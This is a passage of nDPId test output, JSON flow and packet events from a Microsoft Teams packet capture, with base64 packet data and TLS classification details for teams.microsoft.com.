+00483{"flow_id":42,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1985,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":655805,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"EBMx8Tl2KDc3AG3ICABFAABbAABAAEAGNVDAqAEGNHIPLeyHAbsC\/Q\/NwNQd3FAYIADDMQAAFAMDAAEBFgMDACg1g3wT\/ODOeR+aU\/gTizqUW4fCOmeXoMw7EtPrJ+nxsME1J+VVQInR"} +02357{"flow_id":44,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1986,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":659207,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"EBMx8Tl2KDc3AG3ICABFAAXIAABAAEAG8e7AqAEGNHJNIeyIAbtyjZS\/GnF3XYAQEABUTAAAAQEICjCEutphHt2RFwMDDn8AAAAAAAAAAWyvKpVaeilV\/5D9VXLPmEWMPulyRMiX2TW05r2RAqSdQjx9+rN8RqXZC8K3ZdIo10c+YSWuucNxRfOXOl2XZv97bN9rrnkLWZz4VUApZidtTeFhjjOwubdlrm9EBwVlnU0IGM7MtNRZL0KP3ojKQFKyryxHvWRniX4oEZLqBihyEejtNfwQ5K7W9VoXZczL0OHNWi\/NRnGmMtQfbkee0RxUScTLiHCXmsgmOegZH64j8YgD74gysNaww4qAeIgh46AMhj\/UI+tZ5Fk7pQv8XxwLSRcnLXMZpBqlOFjbY3oHZ2DY+4SytonO5k7\/v4BwpYJDX9jh8IRjSMdyI11Mma9m\/tM5NmuetauXj4Z5Y+xBcKf0ZTVmN+aPqs8u5Lbr4tfOqliJCj8dI7hKVUD0DRV7oxLE4InF68\/Xbsb\/E6fgRCaXsV92ktIlKe5QwoP3lPmhuFPbb0UXGmVZEBlkHDynOC0aRGwtnO2TMBf24ArqTlBywNirZflpwK\/+quDjwBMjNmSSVHeEH7WtZbu9TZQWUlXHLrPeXXgROEcz5y9sEA8JfizJpOKS23sE6ly01s6lpYSruNMzRH56rIsDVFXHoSBggyXyLYrSl9ADxEOmu\/yOPhSUHukY5T5idzOI+S05116zj3AzUIIyWngkAW50lMZ0pripPzKS6Eg\/UbovYdAJ4Jo0RjQ9GIZCrfr6rNEOOW1lqZwUEPi9m83nZzC6PdepICiXeCJYlaLxy9zDfIQf+NHF7ZnnxAzUCinh50HEFIaCoFRvb8K08aTZbjtaP2NQZaZZAVj1\/QkCjq5HamvDJ0\/tRG4p88ayaFbtCSX08IR6xH8SCrcwZa9WgvIKv8Ivwewr4idFh3JhjMntMqYfxuwN6qxDUUihyhVXY1UUHXZr1D367alMo4Rey\/xCzIWWZUY2tRnfLA+GG4n2FqbDzO16MI3CdfTh3X+eUvt2AsDzUkLRngijMfue6SL4rZe3uTuZcxlUYZoLnVfTyFfzpUie1WV1YcFEkPHalobpo59loQCpLNaCoKxm64Qzmy5hfeFqDxK5re9uWpvNyfoTyYoEOxzU0OfphPlJxvUbZtKj1c8z+7X7SZ1mmc98yNB891zI5C7EZKhhAEaPh+7BF3QzaLbQznJpVBFpTVHz+tMjKYL8+wX58pH4BOCyFPxsLGlsRiJr\/VqGUM8A8mazZ8exuPC1SulZVj8NZZphYxAbWHKY1dMnA2d30MEeD21J3+b2Shzk8iRRR6tpjpUpDM8b1ef3PgPDh6wh4SOnjSQ3bp+T4SourLMrm4TLw2dtehZgWDLfY6kJzDD0Wms1IWyQX+rwRMMQsri8xTIORE2iNUmO0js\/zuwzKyhMXKnb9MX1GrkF0I3+OtSc0H2QLrsgQFGMLoHcucWC30pzVFzCSOnScFd3sUzVdoeT7+GQw8p1XHi6aSNIM8uNhkRDRk\/KptgzgnxA+jsjcu6V1P9hyl3dfJY8tBUmFvhQ6ySqE5I+JRxKGCrE8QgoY7a4jfvBq3S23X\/EfdvGk+et1noYpY+kiJ+du9EmXh6wLsmHsPxNlIU6NvDCq2VllN52QjxaXHWmQQyO5dwhSar9ITnefHMRxKxBsXS62xrlq1LciiCEugy\/gT30KiAvip\/ncQmxXmSaVzBZ85fn8mZHAdwpnhAdaMrxRWT9M+LGOW2wF2zP5MJHDltAdsZJ+Q6snPDyWRxPoKM05V7hYmdToEa0m0tGD6IVGvA9NaNXs+Xa6DHGbI0\/AFfRc7xuDRGfOwY8DF5sbswlv3sQPMeIsrvDKKAEu9lKBhHT93B7Y+rU92HBdO4RkIRs1XtYlAax3ZkHhI7PCJfzHyyAG2sYQn94lA767q4fQCHjQvsn5PH0\/OAf"} +02367{"flow_id":44,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1987,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":659215,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"EBMx8Tl2KDc3AG3ICABFAAXIAABAAEAG8e7AqAEGNHJNIeyIAbtyjZpTGnF3XYAQEACcrQAAAQEICjCEutphHt2RfPlUrr7WkJImFDpJlgku\/Mcu3R9jA4oFvqMCL92bqnjr90nBd4aAaKUh4RaXay6msK9eXofvdUiB4V14ac92o9Y67vbpSHeIYMxohjA37zpuqyrKWjbU\/X96dR4e4IL90vpmrULO83u1ZMtOn2NPOjY\/uO57xawZKSEPD\/933o9dX2WFCDZXkz\/zIb4q3lYebUBRAmhD6OypAhhohtkMDQUY0lsUOhBGOC\/OcvdgLfT3mEXm\/8WTtB1XVCX3w4Pd9R4j9zDkkgjvL2pin7RLsXKLXxFkxOZUhoDDyqPzHTlGk0kgFB9BNHluM8U5BaxoO5kz3GO9pmi9RybmfAeCtpP2gKRO2m6kYR8uvLGYaa3amN7kBmq0L1BTjIFxO9mU0nFiDu\/OSKAlOBLDm9NItj6V0xmhxAWebD2mHEMh8P2FRd1uA1SCkQQ3PfMJCodQdSqYTgegwI9licO7JtCiooKYdSQ280itKolnIXnfXid9Zr4U2jG534iSwNH3BgntZh+RfEeMe\/y18GSspB92SHPJAvQOpVSt\/x35GQulblT+82UKy9zyqE9HeZAgyPzpMGZtiHd8DEEdPA9dWQBsUO3ZyHW0fyqxtNxf34KEXGzjCfokibheA44qlGkK2qtd+d+1KQJAtNPRcQXIyK6vTsIX345sxAzLgR6kaMBjhaHx5gBJWuZ8BUIs9Z6VPsfBUyA1BmKyN2syB8NS9reCS82KfGPWWWeC4UNTth6Wi5HydKISBgpwqvgeFQ+NCaOe7JIbJRib0jR6tUJRrr9UKgCjAmOvOe9JDXVkpE+FACnglgIfaXvdvlJKGCd16rr\/dPmJibbrAgb2gMvlL4oH2TDmhoKBHoray+ntXKhyUrTiTU1C\/xpCccQkIp3hM+QfI4LUOoGei6JgGgH7SM9ciBzescfbrjlqp7bgkERvxuQk4F\/P57y7N2O61CcnzbX2J5ZLI2PU6sfj7tGXNqsXRwOojjJa+RMwJDFeIuasPJWdZizauJpuVR96AQguxJHHOER4x0asHMSPNJebVlDZNwv5+gRstPIyKY8+ofvRsIpKwhZAfq3DdP+vBFHML23v2h+aHO52R6ZQe+a4\/5peMOH\/taax49mquG\/2SVLaDiauGaMyyqOomCxuqyews7DaAiUIDG\/NML3jJq8hKb6\/HfbOSUU8lqz6eFGVRxQH0PUZKjNSDSMFabJN\/MPBeY0vY7AqI3kojMNZxK8psNXC\/yK8GZlvQ66j6V+pP8+SV972JDc518LLCrH6skGBj8qW\/yD+72HrE2pXLlUgNG4x7oN9Lpa4C6vEw5eS1WBohjbclX7on4WYSsZgbuMTt1ynzY61VNzsK6Xz7D4lcV2JxgAW62uIvMj+SV6I76Ky4NlNTEozvJLkh6jVmGTEz\/pkJu7WlxLAFKDcoB7c33IpM2w8Sxo1Il1+1E\/MuZc9LbqqjHpNdXFax4NVm\/\/4qzQEy0MEKmbX98VCTI6zUNO7r+aqesU17F6el5Z3U9WmZkF+f1FZ2yby4iRxZTbJd\/ZsSYg9sf7tysYHRzeCw2rCNvoL9MUUQx1lGggaLnIdgY\/t80dQyLCjpUGN5Vu5RKshZUS6iMwkAd5zt\/aB85VHN7ELOSskqEyXSTl\/bB\/gzyQIO07R06AJ0uv5d8k84cZJpWOBhP924m46df7y1\/uKQX9LYOO85cm3ASYDTC54RsobYK37BgG8NcdMp7YlrIufSTD98nL73eGJBOyuoMO+kSFBIcUYzWU42Bc\/RjwqZ5hiIuj1gnT1F9DCqQGNJTEp8H7gBrqeCzERvjM7krXS+7olbsmkaSdxHgeAHky5zhROqDEpChRAKxInVYyCQa4GYGWxefp+6zEU+f0ImbrGeOJ9vRvhaSfo3tTs3jQhpRB1piVT"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2018,"source":"teams.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":1,"flow_first_seen":1587041685984,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.113.194.132","src_port":60557,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":49,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2018,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":984732,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGghTAqAEGNHHChOyNAbtKVk3bAAAAALAC\/\/8LQAAAAgQFtAEDAwUBAQgKMIS8GgAAAAAEAgAA"} +00426{"flow_id":49,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2019,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":996890,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0TQBAAHUGACA0ccKEwKgBBgG77I3LqgPISlZN3IAS\/\/9gggAAAgQFoAEDAwgBAQQC"} +00408{"flow_id":49,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2020,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":996986,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGgizAqAEGNHHChOyNAbtKVk3cy6oDyVAQIACBQQAA"} +00652{"flow_id":49,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2021,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":997296,"pkt_caplen":233,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":233,"pkt_l4_len":199,"pkt":"EBMx8Tl2KDc3AG3ICABFAADbAABAAEAGgXnAqAEGNHHChOyNAbtKVk3cy6oDyVAYIAAs2QAAFgMBAK4BAACqAwNemFWVDIT9d4HngeJpG5mlHm9Rt958WOVPiGzzmIF3agAALAD\/wCzAK8AkwCPACsAJwAjAMMAvwCjAJ8AUwBPAEgCdAJwAPQA8ADUALwAKAQAAVQAAABgAFgAAE3RlYW1zLm1pY3Jvc29mdC5jb20ACgAIAAYAFwAYABkACwACAQAADQASABAEAQIBBQEGAQQDAgMFAwYDAAUABQEAAAAAABIAAAAXAAA="} +00767{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2021,"source":"teams.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":4,"flow_first_seen":1587041685984,"flow_last_seen":1587041685997,"flow_tot_l4_data_len":295,"flow_min_l4_data_len":20,"flow_max_l4_data_len":199,"flow_avg_l4_data_len":73,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.113.194.132","src_port":60557,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Teams","breed":"Safe","category":"Collaborative"},"tls": {"version":"TLSv1.2","client_requested_server_name":"teams.microsoft.com","ja3":"e4d448cdfe06dc1243c1eb026c74ac9a","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00415{"flow_id":49,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2022,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041686,"pkt_ts_usec":8515,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"KDc3AG3IEBMx8Tl2CABFAAAoTQFAAHYG\/yo0ccKEwKgBBgG77I3LqgPJSlZOj1AQCASYigAAAAAAAAAA"} +02365{"flow_id":49,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2023,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041686,"pkt_ts_usec":10362,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUTQJAAHYG+X00ccKEwKgBBgG77I3LqgPJSlZOj1AQCASa8QAAFgMDF3cCAABZAwNemFWW8C0W89TTgqUKjOWIsiE2Y+2ePAr7RSpdbuGESyCTMQAA6egPuYFj\/MApkL3g9Rg+u5na9LGY5q\/3ymy\/W8AwAAARAAUAAAAXAAD\/AQABAAAAAAALAA52AA5zAAi1MIIIsTCCBpmgAwIBAgITFgAJ9GLNY5Hp8bHk\/QAAAAn0YjANBgkqhkiG9w0BAQsFADCBizELMAkGA1UEBhMCVVMxEzARBgNVBAgTCldhc2hpbmd0b24xEDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNVBAoTFU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEVMBMGA1UECxMMTWljcm9zb2Z0IElUMR4wHAYDVQQDExVNaWNyb3NvZnQgSVQgVExTIENBIDQwHhcNMTkwOTEyMTgxNjQ1WhcNMjEwOTEyMTgxNjQ1WjAeMRwwGgYDVQQDExN0ZWFtcy5taWNyb3NvZnQuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA474YAXkUH0AKd4mxgmpT49oCTCGzc+aeH0sH0HfldaTKsg5ito6++6GsfGEVzFsy6JVreR7nzWCbQ6\/I0WQfa+Gosa1DnUi8qi\/Shk0iTiu3WSCKxK1FENKNROAos9Djiz18pL2rP9VrVDb8tARlA1h0pxojacA1jZGaCBWbsBr8PHWviwnZIma5GiI3qb3MYHBOisScv1DZDLkUHn+JpjLYkw1t6ZLshtX5NzPKBAW79DAjdmuq9tQZ20TMMg5Tthlc6YLpRyq+9xjSsi413rkcJIUC\/Rf2K9WHQsYN6BPKO6orPrxiYEj94kVe73iPD+0QPCIgBl+zhCTXZSIYmwIDAQABo4IEeDCCBHQwggH1BgorBgEEAdZ5AgQCBIIB5QSCAeEB3wB1AO5Lvbd1zmC64UJpH6vhnmajD35fsHLYgwDEe4l6qP3LAAABbSa6UVUAAAQDAEYwRAIgd5sSxdrGrfVyYR+FGj+B6FEN78TVW8jEqYGOJibnXdECIGD2W8oq5cUNpu2uCWQE1jXUs2DL4cvl1uUNhV\/wwimkAHYA9lyUL9F3MCIUVBgIMJRWjuNNExkzv98MLyALzE7xZOMAAAFtJrpRVQAABAMARzBFAiEA5d\/lkmCTtCqvHZWUW8CIQAdVecPeZLtbE+QQd\/2gZzMCIDj9Kz8UZie7T5Wq7+KCyQOU0gDnJClZGl6ZUP\/3Rm+0AHYAVYHUwhaQNgFK6gubVzxT8MDkOHhwJQgXL6OqHQcT0wwAAAFtJrpSpAAABAMARzBFAiEA5y9TlTYWL0sPVyQoAKCdX9HhFRlqmgmhX9Xw2R2yjHwCIH6zjzCgNhLZRlxsZ+uj6zQ+Uw6zIFsO+k1yyvjZxKDCAHYAXNxDkv7mq0VEsV6a1FbmEDf71fpH3KFzlLJe5vbHDsoAAAFtJrpRgQAABAMARzBFAiEAgEgS\/oBjTv6pem6\/3ApSrk83mt2s6Fa13OEmbyNd50oCIFIceGAj02+gPpiEKkrdX9CJ\/jXDb3rJRIIrt66Ofz2\/MCcGCSsGAQQBgjcVCgQaMBgwCgYIKwYBBQUHAwIwCgYIKwYBBQUHAwEwPgYJKwYBBAGCNxUHBDEwLwYnKwYBBAGCNxUIh9qGdYPu2QGCyYUbgbWeYYX062CBXYTS30KC55N6AgFkAgEdMIGFBggrBgEFBQcBAQR5MHcwUQYIKwYBBQUHMAKGRWh0dHA6Ly93d3cubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL01pY3Jvc29mdCUyMElUJTIwVExTJTIwQ0ElMjA0LmNydDAiBggrBgEFBQcwAYYWaHR0cDovL29jc3AubXNvY3NwLmNvbTAdBgNVHQ4EFgQUJuNbdE1TT2O2ytZtHfPJiEnELtQwCwYDVR0PBAQD"} +02366{"flow_id":49,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2024,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041686,"pkt_ts_usec":10608,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUTQNAAHYG+Xw0ccKEwKgBBgG77I3Lqgl1SlZOj1AQCATEUAAAAgSwMB4GA1UdEQQXMBWCE3RlYW1zLm1pY3Jvc29mdC5jb20wgawGA1UdHwSBpDCBoTCBnqCBm6CBmIZLaHR0cDovL21zY3JsLm1pY3Jvc29mdC5jb20vcGtpL21zY29ycC9jcmwvTWljcm9zb2Z0JTIwSVQlMjBUTFMlMjBDQSUyMDQuY3JshklodHRwOi8vY3JsLm1pY3Jvc29mdC5jb20vcGtpL21zY29ycC9jcmwvTWljcm9zb2Z0JTIwSVQlMjBUTFMlMjBDQSUyMDQuY3JsME0GA1UdIARGMEQwQgYJKwYBBAGCNyoBMDUwMwYIKwYBBQUHAgEWJ2h0dHA6Ly93d3cubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL2NwczAfBgNVHSMEGDAWgBR6e4zBz+egyhzUa\/r74TPDDxqinTAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwDQYJKoZIhvcNAQELBQADggIBACMljl4PXdqfsGnHnHEiog8CyPTCICRJCVUcbZ5afVTsQxiRpg2bVtxl1vFq0UdqTpI+kMX8EVY4C7Gmrb2yOSLzdaz+0htG2dwTgNWS\/bd++B5YbYbyyrmrHhzmoDzfR+qZdKS0uA6mx2CYFo5hKxNjTHfd1Qdrg0w3XsuPrQax3fLN5JjHsFCQxAn9XxV2SfDNzLiNrpkQcWWElrudoda+F67h2kRXXaX8jtecomPcC8rpXShGH3O0tQI7lITD\/ghyFuS4OuN4zs3vGp2xsAH7PEi24hGQro09g1+rY\/VhwEhg\/\/nkTVgD\/ZbaRVPcvbIndMFc2uEbDyTEYG1ghQMlhzJ0z0ON1uZd+845eSsucuZAsM2nVRjaCLJ3VJXLp2bLLhQ8Z0oytSNQnEt4sS2H+qUfAxDvyt1VZ2g\/VYoL+stqV\/K5MJ5dbineogXsC\/RZwOCRTINGE2s6jTHOwhvEvUqlynAJe0lbwafcs+x5wYSwLNkng6KjnHuy4xZGEg4BM1iOtAqOQ\/nKFLpZQzXVqekdB2LMjWFKLQOyf2K70pU0GYuMCFCkhY0u\/OIpyRo\/IVgzwmO7bKF6dKMZ3EoTyTAuTwI1\/3MtVDjnpot8X2B7wWFIT1OXxoGkgYY9qoa2XjXhUFwMTUdeoK1yS4fEUV3Y68bTuXYV11jRsY6uAAW4MIIFtDCCBJygAwIBAgIQC2qzsD6xqfbEYJJqqM3+szANBgkqhkiG9w0BAQsFADBaMQswCQYDVQQGEwJJRTESMBAGA1UEChMJQmFsdGltb3JlMRMwEQYDVQQLEwpDeWJlclRydXN0MSIwIAYDVQQDExlCYWx0aW1vcmUgQ3liZXJUcnVzdCBSb290MB4XDTE2MDUyMDEyNTIzOFoXDTI0MDUyMDEyNTIzOFowgYsxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNyb3NvZnQgQ29ycG9yYXRpb24xFTATBgNVBAsTDE1pY3Jvc29mdCBJVDEeMBwGA1UEAxMVTWljcm9zb2Z0IElUIFRMUyBDQSA0MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAq+XrXaNrOZ71NIgSux1SJl19CQvGeY6rtw7fGbLd7g\/27vRW5Ebikg\/iZwvjHHGk1EFztMuZFo6\/d32wrx5s7XEuwwh3Sl6Sruxa0EiB0MXpoPV6jx6NXtOtksDaxpE1MSC5OQTNECo8lx0AnpkYGAnPS5fkyfwA8AxanTboskDBSqyEKKo9Rhgrp4qs9K9LqH5JQsdiIMDmpztd65Afu4rYnJDjOrFswpTOPjJry3GzQS65xeFd2FkngvvhSA1+6ATx+QEnQfqUWn3FMLu2utcRm4j6AcxuS5K5"} +00407{"flow_id":49,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2025,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041686,"pkt_ts_usec":10664,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGgizAqAEGNHHChOyNAbtKVk6Py6oPIVAQH9J1ZAAA"} +02369{"flow_id":49,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2026,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041686,"pkt_ts_usec":10849,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUTQRAAHYG+Xs0ccKEwKgBBgG77I3Lqg8hSlZOj1AQCAQZzAAA+Hg8y5xomhZmiNCTsCqDLpcRHX6BIGHksLmbnG5TlZUixtm9dRC62XWMPD8d0Jb4M0V7ex9UM+VIl6cFJKLb0dyVriAqfZaJSHuSetAksd5IEfdnPLTf+Fhg9U97NGjm\/awmCLbzLEPbT8QW0JsMcYexB2uG3Y+gsftm2tjL6fLwZeWO2BzqL7otZPFe0BtQsgyFSs87yC4qanWMwK5c2enAfH182pzjvUqwYAeCK31dyBCvLmKM3Jr94dm5WUiXQhrDUIELH4Mia+SbvCkigv2AUVx1Xw41wt1\/L3pnnz2OW4y7r530zAz7qB+dIcHz51IaXc4UV21QuEnusQsn0uJpJxJuxsAmPuekKxuLUzgG+hqHOuBLf5kWTlk9WWnxcadlZRsCAwEAAaOCAUIwggE+MB0GA1UdDgQWBBR6e4zBz+egyhzUa\/r74TPDDxqinTAfBgNVHSMEGDAWgBTlnVkwgkdYzKz6CFQ2hns6tQRN8DASBgNVHRMBAf8ECDAGAQH\/AgEAMA4GA1UdDwEB\/wQEAwIBhjAnBgNVHSUEIDAeBggrBgEFBQcDAQYIKwYBBQUHAwIGCCsGAQUFBwMJMDQGCCsGAQUFBwEBBCgwJjAkBggrBgEFBQcwAYYYaHR0cDovL29jc3AuZGlnaWNlcnQuY29tMDoGA1UdHwQzMDEwL6AtoCuGKWh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9PbW5pcm9vdDIwMjUuY3JsMD0GA1UdIAQ2MDQwMgYEVR0gADAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5jb20vQ1BTMA0GCSqGSIb3DQEBCwUAA4IBAQAR\/nIGOiEKN27I9SkiAmKeRQ7t+gaf77+eJDUX\/jmIsrsB4Xjf0YuX\/bd38YpyT0k66LMp13SH5LnzF2CHiJJVgr3ZfRNIfwaQOolm552W95XNYA\/X4cr2du76mzVIoZh90pMqT4EWx6iWu9El86ZvUNoAmyqo9DUA4\/0sO+3lFZt\/Fg\/Hjsk2IJTwHQG5ElBQmYHgKEIsjnj\/7cae1eTK6aCqs0hPpF\/kixj\/EwItkBE2GGYoOiKa3pXxWe6fbSoXdZNQwwUS1d5ktLa829d2Wf6l1uVW4f5GXDuK+OwO++8SkJHOIBKBujxS43\/jQPQMQSBmhxjaMmng9tyPKPK9FgAHKwEABycwggcjCgEAoIIHHDCCBxgGCSsGAQUFBzABAQSCBwkwggcFMIHHohYEFKL+aj+ELBIf2ammTU17zeYojPFMGA8yMDIwMDQxNjA5NTAyMVowgZswgZgwTDAJBgUrDgMCGgUABBQirwAcgHViBybgyJMa7KdCHDISOgQUenuMwc\/noMoc1Gv6++Ezww8aop0CExYACfRizWOR6fGx5P0AAAAJ9GKAABgPMjAyMDA0MTYwOTUwMjFaoBEYDzIwMjAwNDIwMDk1MDIxWqEiMCAwHgYJKwYBBQUHMAEGBBEYDzIwMTkwNDE3MDk1MDIxWjANBgkqhkiG9w0BAQsFAAOCAQEAKtM5zlSyivdA+Gis4rcj8nCb7wkzf2w\/7uZSPASg+fHlxKIP0SawY+ftdNB7TLsLtTlV0GnUH9Y6bgG4E3FPviY9bhy7K5Tr75v1wxQ0rseMm64c2hKU\/IrMDW6eKEP73GVYi3adSSQujDteabmaRSxt4eO5wA7LHPgudO2T98Gs0mzEgCOAndhGbOJ92mIU\/D+dzwFvy9+GYVrp7egaj0qUXygOtzwvgaeQ53RHwEDh7xZPDmXtDVTfE8taITs+YaVIi6BhskxxrHRDCsGbJqc9CvWpbfIPjo3McWTpSBzO6C9AEHpFkyMWsXrEVNg4R7dSz60k0wGKcmVV5lO+0KCCBSMwggUfMIIFGzCCAwOgAwIBAgITeAAUltHcT15d"} +00408{"flow_id":49,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2027,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041686,"pkt_ts_usec":10918,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGgizAqAEGNHHChOyNAbtKVk6Py6oUzVAQIABvigAA"} +02367{"flow_id":49,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2028,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041686,"pkt_ts_usec":10986,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUTQVAAHYG+Xo0ccKEwKgBBgG77I3LqhTNSlZOj1AQCAQGZgAA7dIaCgAAABSW0TANBgkqhkiG9w0BAQsFADCBizELMAkGA1UEBhMCVVMxEzARBgNVBAgTCldhc2hpbmd0b24xEDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNVBAoTFU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEVMBMGA1UECxMMTWljcm9zb2Z0IElUMR4wHAYDVQQDExVNaWNyb3NvZnQgSVQgVExTIENBIDQwHhcNMjAwNDAyMTcwODI2WhcNMjEwNDAyMTcwODI2WjArMSkwJwYDVQQDDCBNaWNyb3NvZnRfSVRfVExTX0NBXzRfS2V5QmluZGluZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAL2SgxvpjDYjzBSs0WMPjaEnxfx0ph8YUENHkNtBgmTL\/I48ISA513PDZvgRlkEL8juzKHixKietMtbTjX2g0Ru+b0Xx3jTpJvUnThqOsEv072NriYX3tuq2YlbZfSvXX5g4CDBZAx1V8Y9CnBOP5Oj+UOsWBE9phfvyhrfN9XBADPrUuim5l2H3Wsx6VgY2WqiE\/AD766Gm5hxSrOygTdO6oYRNS6py2EIDxPSfo06of+f+bd5U4O1djL9YnvzHRcJG3xZRsDSBXZSutpJVrdUc3OsjyygQKoWHCbplOYXHYtXrL52V4R8lPBoeGGNIyX3nlHFJFj2gzYcVCm7fr90CAwEAAaOB1jCB0zAdBgNVHQ4EFgQUov5qP4QsEh\/ZqaZNTXvN5iiM8UwwDgYDVR0PAQH\/BAQDAgeAMBMGA1UdJQQMMAoGCCsGAQUFBwMJMA8GCSsGAQUFBzABBQQCBQAwHwYDVR0jBBgwFoAUenuMwc\/noMoc1Gv6++Ezww8aop0wPgYJKwYBBAGCNxUHBDEwL